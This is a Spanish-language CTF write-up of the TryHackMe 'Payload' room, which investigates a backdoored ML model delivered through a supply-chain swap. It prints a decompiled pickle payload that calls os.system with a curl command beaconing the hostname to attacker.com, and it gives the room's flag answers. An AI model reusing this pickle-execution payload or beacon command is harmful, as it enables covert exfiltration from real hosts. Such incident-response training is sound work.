Supply Chain Attack

PAYLOAD

LAB WRITEUP

By :
Alexandro Achalma

Descripción: Investigación de una brecha de seguridad.

Dificultad: 🟢 Easy

17/09/2026

PAYLOAD

Contexto

El 16 de febrero de 2024, a las 03:14, saltó una alerta en el SOC. No había ningún despliegue programado, no se habían registrado cambios en el sistema. El servidor de inferencia ML había estado realizando conexiones HTTPS salientes hacia una dirección no reconocida, y solo fueron bloqueadas cuando la regla de detección automatizada se activó.
Los materiales del incidente se encuentran en `/opt/supply-chain/incident/`. El directorio contiene:

- `logs/` → logs de despliegue y red
- `models/` → el modelo de producción actualmente en ejecución
- Un modelo candidato de reemplazo preparado por el equipo de ingeniería (aún no desplegado)
- Un baseline limpio para comparación

Objetivo

Determinar si el modelo de producción fue comprometido, identificar el vector de ataque dentro de la cadena de suministro de ML, recuperar el payload embebido y rastrear la actividad maliciosa hasta su origen.

PREGUNTAS

The replacement model came from a different organisation than the original. What is the name of that organisation?

Del `deployment.log` se observa claramente que el modelo original fue descargado desde `huggingface.co/verified-ml-team/`, mientras que el modelo de reemplazo provino de una organización diferente:

How many days passed between the replacement model being deployed and the SOC alert firing?

Del log se extraen las dos fechas clave:

- **Despliegue del modelo comprometido:** `2024-01-26`
- **Alerta del SOC:** `2024-02-16`
  Calculando la diferencia:
- Enero: del 26 al 31 → 5 días
- Febrero: del 1 al 16 → 16 días
- **Total: 21 días**

```
analyst@tryhackme-2204:/opt/supply-chain$ ls
audit  dependencies  incident  models  project  tools
analyst@tryhackme-2204:/opt/supply-chain$ cd incident/logs/
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ ls -la
total 20
drwxr-xr-x 2 analyst analyst 4096 Apr  8 11:59 .
drwxr-xr-x 6 analyst analyst 4096 Apr  8 11:59 ..
-rwxr-xr-x 1 analyst analyst  347 Apr  8 11:59 beacon_capture.log
-rwxr-xr-x 1 analyst analyst  946 Apr  8 11:59 deployment.log
-rwxr-xr-x 1 analyst analyst  751 Apr  8 11:59 network.log
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cat deployment.log
[2024-01-05 09:15:22] INFO  Model registry: pulling code-review-bert v1.0.0
[2024-01-05 09:15:23] INFO  Source: huggingface.co/verified-ml-team/code-review-bert
[2024-01-05 09:15:25] INFO  Loaded model: original_model.pkl (sha256: 793bb2f5bfdf4a1c...)
[2024-01-05 09:15:26] INFO  Model deployed to production inference server
[2024-01-26 14:32:10] INFO  Model update requested by ml-engineer@trytrainme.com
[2024-01-26 14:32:12] INFO  Source: huggingface.co/trustworthy-ai-lab/code-review-bert-v2
[2024-01-26 14:32:14] WARN  New source organisation detected: trustworthy-ai-lab
[2024-01-26 14:32:15] INFO  Loaded model: production_model.pkl
[2024-01-26 14:32:16] INFO  Model deployed to production inference server
[2024-02-16 03:14:00] ALERT SOC automated alert: unusual outbound HTTPS traffic detected
[2024-02-16 03:14:01] ALERT Destination: attacker.com:443
[2024-02-16 03:14:33] INFO  Incident #2024-SC-0847 created - investigation required
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cd /opt/supply-chain/
audit/        dependencies/ incident/     models/       project/      tools/
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cd /opt/supply-chain/
audit/        dependencies/ incident/     models/       project/      tools/
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cd ../
analyst@tryhackme-2204:/opt/supply-chain/incident$ ls
checksums  logs  models  project
analyst@tryhackme-2204:/opt/supply-chain/incident$ cd models/
analyst@tryhackme-2204:/opt/supply-chain/incident/models$ ls
baseline_model.h5  candidate_model.h5  original_model.pkl  original_model.safetensors  production_model.pkl
analyst@tryhackme-2204:/opt/supply-chain/incident/models$
```

Decompile the production model. What Python function does the payload use to execute the shell command?

Se navega al directorio de modelos y se usa `pickletools` para descompilar `production_model.pkl`:

> `python3 -m pickletools production_model.pkl`

El payload importa el módulo `os` y llama a su función `system` para ejecutar comandos de shell directamente.

What shell command does the payload use to capture the host's identity?

Directamente del bytecode descompilado:

> `curl "http://attacker.com/beacon" -d "host=$(hostname)"`

```
analyst@tryhackme-2204:/opt/supply-chain/incident/models$ ls
baseline_model.h5   original_model.pkl          production_model.pkl
candidate_model.h5  original_model.safetensors
analyst@tryhackme-2204:/opt/supply-chain/incident/models$ python3 -m pickletools production_mode
l.pkl
    0: \x80 PROTO      4
    2: \x95 FRAME      79
   11: \x8c SHORT_BINUNICODE 'os'
   15: \x94 MEMOIZE    (as 0)
   16: \x8c SHORT_BINUNICODE 'system'
   24: \x94 MEMOIZE    (as 1)
   25: \x93 STACK_GLOBAL
   26: \x94 MEMOIZE    (as 2)
   27: \x8c SHORT_BINUNICODE 'curl "http://attacker.com/beacon" -d "host=$(hostname)"'
   84: \x94 MEMOIZE    (as 3)
   85: \x85 TUPLE1
   86: \x94 MEMOIZE    (as 4)
   87: R    REDUCE
   88: \x94 MEMOIZE    (as 5)
   89: .    STOP
highest protocol among opcodes = 4
```

The beacon capture log shows the HTTP method used in the outbound request. What is it?

Al analizar el atributo -d utilizado en curl por parte del atacante vemos que indica el método HTTP usado.

```
   27: \x8c SHORT_BINUNICODE 'curl "http://attacker.com/beacon" -d "host=$(hostname)"'
   84: \x94 MEMOIZE    (as 3)
   85: \x85 TUPLE1
   86: \x94 MEMOIZE    (as 4)
   87: R    REDUCE
   88: \x94 MEMOIZE    (as 5)
   89: .    STOP
highest protocol among opcodes = 4
analyst@tryhackme-2204:/opt/supply-chain/incident/models$
analyst@tryhackme-2204:/opt/supply-chain/incident/models$ curl --help
Usage: curl [options...] <url>
 -d, --data <data>          HTTP POST data
 -f, --fail                 Fail silently (no output at all) on HTTP errors
 -h, --help <category>      Get help for commands
 -i, --include              Include protocol response headers in the output
 -o, --output <file>        Write to file instead of stdout
 -O, --remote-name          Write output to a file named as the remote file
 -s, --silent               Silent mode
 -T, --upload-file <file>   Transfer local FILE to destination
 -u, --user <user:password> Server user and password
 -A, --user-agent <name>    Send User-Agent <name> to server
 -v, --verbose              Make the operation more talkative
 -V, --version              Show version number and quit
```

The engineering team staged *candidate_model.h5* as a replacement but have not yet deployed it. Run *inspect_h5_model.py* against it. What is the name of the suspicious layer it contains?

El equipo de ingeniería preparó `candidate_model.h5` como reemplazo, pero tampoco está libre de malware. Se ejecuta la herramienta de inspección:

```
python3 /opt/supply-chain/tools/inspect_h5_model.py /opt/supply-chain/incident/models/candidate_model.h5
```

```
analyst@tryhackme-2204:~$ python3 /opt/supply-chain/tools/inspect_h5_model.py /opt/supply-chain/incident/models/candidate_model.h5

=== Architecture Inspection: candidate_model.h5 ===

  Total layers: 5

  [OK]      InputLayer          input_layer_2
  [OK]      Flatten             flatten_2
  [OK]      Dense               dense_4
  [OK]      Dense               dense_5
  [WARNING] Lambda              manipulate_output (function: manipulate_output)
            exfil_suffix: pl41n_s1ght}

  RESULT: 1 layer(s) require review
    - Lambda (manipulate_output): Can contain arbitrary Python code that executes at inference time

analyst@tryhackme-2204:~$ cat /opt/supply-chain/incident/logs/beacon_capture.log
[2024-02-16 03:13:47] SESSION beacon-4821 ESTABLISHED  src=10.0.1.50  dst=attacker.com:443
[2024-02-16 03:13:47] REQUEST POST /beacon HTTP/1.1
[2024-02-16 03:13:47] HOST attacker.com
[2024-02-16 03:13:47] PAYLOAD host=ml-server-prod-01&id=THM{b4ckd00r_1n_
[2024-02-16 03:13:48] SESSION beacon-4821 BLOCKED  bytes_captured=51  reason=SOC_RULE_4821
analyst@tryhackme-2204:~$
```

The attacker split the campaign ID across two artefacts to avoid full exposure in any single capture. Examine *beacon_capture.log* and the candidate model to recover the complete flag.

El atacante dividió el ID de campaña en dos artefactos para evitar exposición completa en cualquier captura individual.
Primera parte — extraída del `beacon_capture.log`:

```
THM{b4ckd00r_1n_
```

Segunda parte — extraída del modelo candidato mediante `inspect_h5_model.py`:

```
exfil_suffix: pl41n_s1ght}
```

REFERENCIAS

- TryHackMe. Payload. https://tryhackme.com/room/payload